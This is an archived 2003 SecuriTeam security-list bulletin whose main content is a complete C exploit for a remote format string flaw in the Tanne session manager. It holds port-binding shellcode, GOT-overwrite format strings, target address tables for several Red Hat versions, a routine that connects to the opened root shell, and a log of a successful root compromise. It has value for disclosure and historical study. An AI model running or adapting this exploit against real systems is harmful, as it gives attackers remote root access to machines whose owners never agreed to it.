

[EXPL] Tanne Format String Exploit Code

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-01/0029.html>

From: support@securiteam.com

Date: 01/08/03

From: support@securiteam.com

To: list@securiteam.com

Date: 8 Jan 2003 11:12:57 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

Tanne Format String Exploit Code

SUMMARY

<<http://tanne.fluxnetz.de/>> Tanne is a small, secure session-management solution for HTTP. It replaces common sessions with a system consisting of PIN and TANs, well known from online banking. Its main purpose is to enable programmers of Web applications to have really secured sessions without cookies or session-ids.

As we reported in our previous advisory:

<<http://www.securiteam.com/unixfocus/5VP042A8UO.html>> Remote Format String Vulnerability in Tanne, a remotely exploitable vulnerability in the product allows remote attackers to cause it to execute arbitrary code. The following exploit code can be used to test the system's immunity to the issue.

DETAILS

Exploit:

```
/*
```

```
**
```

```
** [*] Title: Remote format string vulnerability in Tanne.
```

```
** [+] Exploit code: 0x82-Remote.tannehehe.xpl.c
```

```
**
```

Securiteam: [EXPL] Tanne Format String Exploit Code

```
** [+] Description ---
**
** About:
** tanne is a small, secure session-management solution for HTTP.
** It replaces common sessions with a system consisting of PIN and TANs,
** well known from online banking.
** It's main purpose is to enable programmers of Web applications
** to have real secure sessions without cookies or session-ids.
**
** More detailed information is http://tanne.fluxnetz.de/.
**
** Vulnerability can presume as following.
** There is logger() function to 29 lines of 'netzio.c' code.
**
** ___
** ...
** 65 syslog( LOG_INFO, txt ); // Here.
** ...
** 74 syslog( LOG_INFO, txt ); // Here.
** ...
** ___
**
** This is very dangerous security vulnerability.
** It's known already well. ;-)
**
** [+] Vulnerable Packages ---
**
** Vendor site: http://tanne.fluxnetz.de/
**
** tanne 0.6.17
** -tanne-0.6.17.tar.bz2
** +Linux
** +Other
**
** [+] Exploit ---
**
** Proof of Concept on RedHat Linux 8.0, tanne-0.6.17.tar.bz2:
**
** bash-2.05b$ ./0x82-Remote.tannehehe.xpl -t2
**
** Tanne Remote format string Xploit by Xpl017Elz
**
** [*] Target host localhost
** [*] Target type: Red Hat Linux release 8.0 (Psyche)
tanne-0.6.17.tar.bz2
**
** [1] Make it Format String.
** [-] syslog GOT address: 0x804d1c8
** [2] Pushing Shellcode.
** [-] Shellcode address: 0xbffff974
** [3] Setting Sock.
```

Securiteam: [EXPL] Tanne Format String Exploit Code

```
** [4] Send Code.
** [*] Waiting Rootshell :-)
** [5] Trying localhost:36864 ...
** [6] Connected to localhost:36864 !
**
** [*] Executed shell successfully !
** [*] OK, It's Rootshell
**
** Linux thanks_maze_dorumuk 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002
** i686 i686 i386 GNU/Linux
** uid=0(root) gid=2(daemon)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),
** 6(disk),10(wheel)
** bash: no job control in this shell
** stty: standard input: Invalid argument
** [root@maze_dorumuk tanne-0.6.17]# id
** uid=0(root) gid=2(daemon)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),
** 6(disk),10(wheel)
** [root@maze_dorumuk tanne-0.6.17]# exit
** exit
**
** [*] Happy Exploit !
**
** bash-2.05b$
**
** GOT syslog address?
**
** bash-2.05b$ objdump --dynamic-reloc tanned | grep syslog
** 0804d1c8 R_386_JUMP_SLOT syslog
** bash-2.05b$
**
** __
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/
/*
** ==--= POINT! POINT! POINT! POINT! POINT! ==--=
**
** If compile by DEBUG mode, it exploit do can.
** It's Proof of concept. (Therefore, don't support 'Brute-force' mode.)
**
** P.S Joke:
**
** I suffer because of English ability such as child sometimes. :-(
** So, I'm studying English hard. hehehe!
**
** Where is really fine English teacher?!
**
** Grets:
```

Securiteam: [EXPL] Tanne Format String Exploit Code

```
**
** Developer Uli Funcke, mAzE_Dorumuk, BrainStorm (hello!),
** ElectronicSouls (!electronicsouls@efnet), INetCop(C) Security.
**
*/

#define Xpl017Elz x82
#define x0x_test1 (0x82*16)
#define x0x_test2 (0x82*8)
#define x0x_test3 (0x82*4)
#define x0x_test4 (0x82)

#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>

#define HOST "localhost"
#define PORT 14002

struct os {
    int num;
    char *ost;
    unsigned long gotrs;
    unsigned long shell;
    int flag;
};

struct os plat[] =
{
    {
        0,"Red Hat Linux release 6.1 (Cartman) tanne-0.6.17.tar.bz2",
        0x0804d224,0xbffffa14,11
    },
    {
        1,"Red Hat Linux release 7.0 (Guinness) tanne-0.6.17.tar.bz2",
        0x0804d260,0xbffff974,5
    },
    {
        2,"Red Hat Linux release 8.0 (Psyche) tanne-0.6.17.tar.bz2",
        0x0804d1c8,0xbffff974,5
    }
};

// This is lovable shellcode, that's sweet in linux platform.
char shellcode[]= /* portshell shellcode, 128 bytes (tcp/36864) */
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c\x40\x89"
"\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46\x10\x10\x66\x89"
"\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89\x46\x18\xb0\x90\x66\x89"
"\x46\x16\x8d\x4e\x14\x89\x4e\x0c\x8d\x4e\x08\xb0\x66\xcd\x80\x89"
"\x5e\x0c\x43\x43\xb0\x66\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66"
```

Securiteam: [EXPL] Tanne Format String Exploit Code

```
"\x43\xcd\x80\x86\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80"  
"\xb0\x3f\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"  
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";  
unsigned char x82x82x82[x0x_test1];
```

```
void banrl();  
int makefmt(u_long retloc,u_long shaddr,int flag);  
int setsock(char *hostname, int port);  
void usage(char *argument);  
void re_connt(int sock);  
void exect_sh(int sock);
```

```
int main(argc,argv)
```

```
    int argc;  
    char *argv[];
```

```
{  
    int ax82=0;  
    int type=0;  
    int port=PORT;  
    int flag=plat[type].flag;  
    int sockr,sockr2;
```

```
    extern char *optarg;  
    char hostname[x0x_test4]=HOST;  
    unsigned long retloc=plat[type].gotrs;  
    unsigned long shaddr=plat[type].shell;
```

```
    (void)banrl();  
    while((ax82=getopt(argc,argv,"R:r:S:s:F:f:H:h:T:t:li"))!=EOF)
```

```
{  
    switch(ax82)  
{  
    case 'R':  
        case 'r':  
            retloc=strtoul(optarg,NULL,0);  
            break;  
  
    case 'S':  
        case 's':  
            shaddr=strtoul(optarg,NULL,0);  
            break;  
  
    case 'F':  
        case 'f':  
            flag=atoi(optarg);  
            break;  
  
    case 'H':  
        case 'h':  
            strncpy(hostname,optarg,x0x_test4);  
            break;
```

Securiteam: [EXPL] Tanne Format String Exploit Code

```
case 'T':
    case 't':
        type=atoi(optarg);
        if(type>2) /* 0,1,2 */
        {
            (void)usage(argv[0]);
        }
    else {
        retloc=plat[type].gotrs;
        shaddr=plat[type].shell;
        flag=plat[type].flag;
    }
        break;

    case 'I':
    case 'i':
(void)usage(argv[0]);
break;

        case '?':
fprintf(stderr,
" Try `%-s -i` for more information.\n\n",argv[0]);
exit(-1);
        break;
    }
}

fprintf(stdout, " [*] Target host %s\n",hostname);
fprintf(stdout, " [*] Target type: %s\n",plat[type].ost);

fprintf(stdout, " [1] Make it Format String.\n");
fprintf(stdout, " [-] syslog GOT address: %p\n",retloc);
(int)makefmt((u_long)retloc,(u_long)shaddr,(int)flag);

fprintf(stdout, " [3] Setting Sock.\n");
sockr=setsock(hostname,port);
(void)re_connt(sockr);

fprintf(stdout, " [4] Send Code.\n");
send(sockr,x82x82x82,strlen(x82x82x82),0);
fprintf(stdout, " [*] Waiting Rootshell :-)\n");
sleep(1);

fprintf(stdout, " [5] Trying %s:36864 ...\n",hostname);
sockr2=setsock(hostname,36864);
(void)re_connt(sockr2);
fprintf(stdout, " [6] Connected to %s:36864 !\n",hostname);
(void)exect_sh(sockr2);
}
```

Securiteam: [EXPL] Tanne Format String Exploit Code

```
void banrl() {  
    fprintf(stdout, "\n Tanne Remote format string Xploit by  
Xpl017Elz\n\n");  
}
```

```
int makefmt(u_long retloc,u_long shaddr,int flag)  
{  
    unsigned char x82x82[x0x_test2];  
    unsigned char x0x[x0x_test3];  
  
    int bx82,cx82,ex82,fx82,gx82,hx82;  
    int add1,add2,add3,add4;  
    bx82=cx82=ex82=fx82=gx82=hx82=0;  
    add1=add2=add3=add4=0;  
  
    memset((char *)x82x82x82,0,x0x_test1);  
    memset((char *)x82x82,0,x0x_test2);  
    memset((char *)x0x,0,x0x_test3);  
  
    *(long *)&x0x[0]=0x82828282;  
    *(long *)&x0x[4]=retloc+0;  
  
    *(long *)&x0x[8]=0x82828282;  
    *(long *)&x0x[12]=retloc+1;  
  
    *(long *)&x0x[16]=0x82828282;  
    *(long *)&x0x[20]=retloc+2;  
  
    *(long *)&x0x[24]=0x82828282;  
    *(long *)&x0x[28]=retloc+3;  
    /* real */  
    ex82=(shaddr>>24)&0xff;  
    fx82=(shaddr>>16)&0xff;  
    gx82=(shaddr>> 8)&0xff;  
    hx82=(shaddr>> 0)&0xff;  
    /* test */  
    add1=(shaddr>>24)&0xff;  
    add2=(shaddr>>16)&0xff;  
    add3=(shaddr>> 8)&0xff;  
    add4=(shaddr>> 0)&0xff;  
  
    if((add4-40)<10)  
hx82+=0x100;  
    if((add3-add4)<10)  
gx82+=0x100;  
    if((add2-add3)<10)  
fx82+=0x100;  
  
    for(bx82=0;bx82<0x140-strlen(shellcode);bx82++)  
x82x82[bx82]='N'; /* CodeRed?! Whoou ... */  
    for(cx82=0;cx82<strlen(shellcode);cx82++)
```

Securiteam: [EXPL] Tanne Format String Exploit Code

```
x82x82[bx82++]=shellcode[cx82];

fprintf(stdout, " [2] Pushing Shellcode.\n");
fprintf(stdout, " [-] Shellcode address: %p\n",shaddr);

snprintf(x82x82x82,x0x_test1,
"@%s" /* ←- point */
"%%%d$%ux%%d$n%%d$%ux%%d$n" /* $-flag */
"%%%d$%ux%%d$n%%d$%ux%%d$n" /* format string */
"%s\n", /* code */
x0x,
(flag+0),hx82-40,(flag+1),(flag+2),
gx82-add4,(flag+3),(flag+4),fx82-add3,
(flag+5),(flag+6),0x100+ex82-add2,
(flag+7),x82x82);

/* funny :-) */

}

void usage(char *argument)
{
fprintf(stdout, " Usage: %s -options arguments\n\n",argument);
fprintf(stdout, " -r [retloc] - GOT address.\n");
fprintf(stdout, " -s [shelladdr] - shell address.\n");
fprintf(stdout, " -f [flagnum] - flag number.\n");
fprintf(stdout, " -h [hostname] - target host.\n");
fprintf(stdout, " -t [typenum] - target number.\n");
fprintf(stdout, " -i - help information.\n\n");
fprintf(stdout, " - Target Type Number List -\n\n");

fprintf(stdout, " {0} Red Hat Linux release 6.1 (Cartman)"
" tanne-0.6.17.tar.bz2\n");
fprintf(stdout, " {1} Red Hat Linux release 7.0 (Guinness)"
" tanne-0.6.17.tar.bz2\n");
fprintf(stdout, " {2} Red Hat Linux release 8.0 (Psyche)"
" tanne-0.6.17.tar.bz2\n");

fprintf(stdout, " Example1: %s -r0x82828282 -s0x8282bab0
-f5",argument);
fprintf(stdout, "\n Example2: %s -t 0 -h target.org\n\n",argument);

exit(0);
}

void re_connt(int sock)
{
if(sock==-1)
{
fprintf(stdout, " [-] Failed.\n\n");
fprintf(stdout, " Happy Exploit ! :-)\n\n");
}
```

Securiteam: [EXPL] Tanne Format String Exploit Code

```
exit(-1);
}
}

int setsock(char *hostname,int port) {

    int sock;
    struct hostent *he;
    struct sockaddr_in x82_addr;

    if((he=gethostbyname(hostname))==NULL)
    {
        perror(" [-] gethostbyname() error");
        return(-1);
    }
    if((sock=socket(AF_INET,SOCK_STREAM,0))==EOF)
    {
        perror(" [-] socket() error");
        return(-1);
    }

    x82_addr.sin_family=AF_INET;
    x82_addr.sin_port=htons(port);
    x82_addr.sin_addr=((struct in_addr *)he->h_addr);
    bzero(&(x82_addr.sin_zero),8);

    if(connect(sock,(struct sockaddr *)&x82_addr,
sizeof(struct sockaddr))==EOF)
    {
        perror(" [-] connect() error");
        return(-1);
    }

    return(sock);

}

void exect_sh(int sock)
{
    int pkt;
    char *cmd="uname -a;id;export TERM=vt100;exec bash -i\n";
    char rbuf[1024];
    fd_set rset;
    memset((char *)rbuf,0,1024);

    fprintf(stdout," [*] Executed shell successfully !\n");
    fprintf(stdout," [*] OK, It's Rootshell\n\n");
    send(sock,cmd,strlen(cmd),0);

    while(1)
    {
```

Securiteam: [EXPL] Tanne Format String Exploit Code

```
fflush(stdout);
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);

if(FD_ISSET(sock,&rset))
{
    pckt=read(sock,rbuf,1024);
    if(pckt<=0)
    {
fprintf(stdout,"\n [*] Happy Exploit !\n\n");
exit(0);
    }
    rbuf[pckt]=0;
    printf("%s",rbuf);
}
if(FD_ISSET(STDIN_FILENO,&rset))
{
    pckt=read(STDIN_FILENO,rbuf,1024);
    if(pckt>0)
    {
rbuf[pckt]=0;
write(sock,rbuf,pckt);
    }
}
return;
}

/* eox */
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:xploit@hackermail.com>
dong-h0un yoU.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.